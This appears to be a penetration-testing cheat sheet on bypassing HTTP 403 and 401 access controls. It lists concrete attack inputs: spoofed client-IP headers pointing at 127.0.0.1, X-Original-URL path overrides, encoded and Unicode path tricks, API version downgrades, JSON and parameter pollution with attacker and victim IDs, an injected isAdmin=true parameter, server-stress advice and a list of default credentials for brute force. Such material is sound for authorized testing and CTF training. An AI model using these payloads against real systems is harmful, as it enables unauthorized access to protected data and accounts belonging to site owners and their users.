403 & 401 Bypasses

[AD REMOVED]

HTTP Verbs/Methods Fuzzing

Try using different verbs to access the file: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

Check the response headers, maybe some information can be given. For example, a 200 response to HEAD with Content-Length: 55 means that the HEAD verb can access the info. But you still need to find a way to exfiltrate that info.
Using a HTTP header like X-HTTP-Method-Override: PUT can overwrite the verb used.
Use TRACE verb and if you are very lucky maybe in the response you can see also the headers added by intermediate proxies that might be useful.

Change Host header to some arbitrary value (that worked here)
Try to use other User Agents to access the resource.
Fuzz HTTP Headers: Try using HTTP Proxy Headers, HTTP Authentication Basic and NTLM brute-force (with a few combinations only) and other techniques. To do all of this I have created the tool fuzzhttpbypass.
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost

If the path is protected you can try to bypass the path protection using these other headers:

X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
If the page is behind a proxy, maybe it's the proxy the one preventing you you to access the private information. Try abusing HTTP Request Smuggling or hop-by-hop headers.
Fuzz special HTTP headers looking for different response.
Fuzz special HTTP headers while fuzzing HTTP Methods.
Remove the Host header and maybe you will be able to bypass the protection.

If /path is blocked:

Try using /%2e/path _(if the access is blocked by a proxy, this could bypass the protection). Try also_** /%252e**/path (double URL encode)
Try Unicode bypass: /%ef%bc%8fpath (The URL encoded chars are like "/") so when encoded back it will be //path and maybe you will have already bypassed the /path name check
Other path bypasses:
site.com/secret –> HTTP 403 Forbidden
site.com/SECRET –> HTTP 200 OK
site.com/secret/ –> HTTP 200 OK
site.com/secret/. –> HTTP 200 OK
site.com//secret// –> HTTP 200 OK
site.com/./secret/.. –> HTTP 200 OK
site.com/;/secret –> HTTP 200 OK
site.com/.;/secret –> HTTP 200 OK
site.com//;//secret –> HTTP 200 OK
site.com/secret.json –> HTTP 200 OK (ruby)
Use all this list in the following situations:
- /FUZZsecret
- /FUZZ/secret
- /secretFUZZ
Other API bypasses:
/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:[111]} --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:{“id”:111}} --> 200 OK
{"user_id":"\","user_id":"\"} (JSON Parameter Pollution)
user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution)

Change param value: From id=123 --> id=124
Add additional parameters to the URL: ?id=124 —-> id=124&isAdmin=true
Remove the parameters
Re-order parameters
Use special characters.
Perform boundary testing in the parameters — provide values like -234 or 0 or 99999999 (just some example values).

If using HTTP/1.1 try to use 1.0 or even test if it supports 2.0.

Get the IP or CNAME of the domain and try contacting it directly.
Try to stress the server sending common GET requests (It worked for this guy wit Facebook).
Change the protocol: from http to https, or for https to http
Go to https://archive.org/web/ and check if in the past that file was worldwide accessible.

Guess the password: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name?
Brute force: Try basic, digest and NTLM auth.

:Common creds admin admin admin password admin 1234 admin admin1234 admin 123456 root toor test test guest guest

[AD REMOVED]